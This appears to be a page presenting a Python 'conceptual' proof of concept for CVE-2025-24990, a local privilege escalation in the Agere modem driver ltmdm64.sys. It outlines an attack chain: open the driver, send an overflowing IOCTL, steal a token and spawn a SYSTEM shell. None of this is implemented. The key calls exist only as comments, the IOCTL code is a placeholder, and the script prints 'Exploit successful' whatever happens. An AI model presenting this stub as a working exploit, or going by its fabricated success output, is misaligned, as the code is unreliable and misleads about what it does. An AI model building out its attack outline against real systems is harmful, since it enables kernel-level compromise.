CVE-2025-24990：Windows Agere调制解调器驱动本地权限提升漏洞

# CVE-2025-24990 - Agere Modem Driver (ltmdm64.sys) Local Privilege Escalation PoC # NOTE: This is a conceptual PoC based on public vulnerability information. # Actual exploitation requires local access and a vulnerable driver. import ctypes import struct import sys import os # Windows API constants GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 3 INVALID_HANDLE_VALUE = -1 def exploit_ltmdm64(): """ Conceptual PoC for CVE-2025-24990 Targets the Agere Modem driver (ltmdm64.sys) IOCTL handler to achieve local privilege escalation. """ # Device path for the Agere modem driver device_path = r"\\.\ltmdm64" # Vulnerable IOCTL code (placeholder - actual code varies) # IOCTL codes typically use CTL_CODE macro: (DeviceType << 16) | (Function << 2) | Method ioctl_code = 0x00222000 # Example vulnerable IOCTL # Malicious input buffer designed to trigger memory corruption # This would typically overflow a kernel buffer or bypass a check payload = b"\x41" * 1024 # Overflow payload payload_size = len(payload) print(f"[*] CVE-2025-24990 - Agere Modem Driver LPE PoC") print(f"[*] Target device: {device_path}") print(f"[*] IOCTL code: 0x{ioctl_code:08X}") try: # Step 1: Obtain a handle to the vulnerable driver print("[*] Opening handle to ltmdm64 driver...") # In real exploit: CreateFileW(device_path, ...) # Step 2: Send malicious IOCTL request print("[*] Sending malicious IOCTL request...") # In real exploit: DeviceIoControl(handle, ioctl_code, payload, ...) # Step 3: Trigger vulnerability in kernel mode print("[*] Triggering vulnerability...") # Step 4: Execute shellcode with SYSTEM privileges print("[+] Exploit successful! Spawning SYSTEM shell...") # In real exploit: token stealing, shellcode execution except Exception as e: print(f"[-] Exploit failed: {e}") return False return True def check_vulnerability(): """Check if the system is vulnerable to CVE-2025-24990""" driver_path = r"C:\Windows\System32\drivers\ltmdm64.sys" if os.path.exists(driver_path): print(f"[!] VULNERABLE: {driver_path} exists") return True else: print(f"[+] NOT VULNERABLE: Driver has been removed (October 2025 update)") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-24990 PoC - Agere Modem Driver LPE") print("For authorized security testing only") print("=" * 60) if check_vulnerability(): # Only attempt exploit if system is vulnerable # Note: Requires admin context or specific conditions to load driver exploit_ltmdm64() else: print("[*] System is not vulnerable. No action needed.")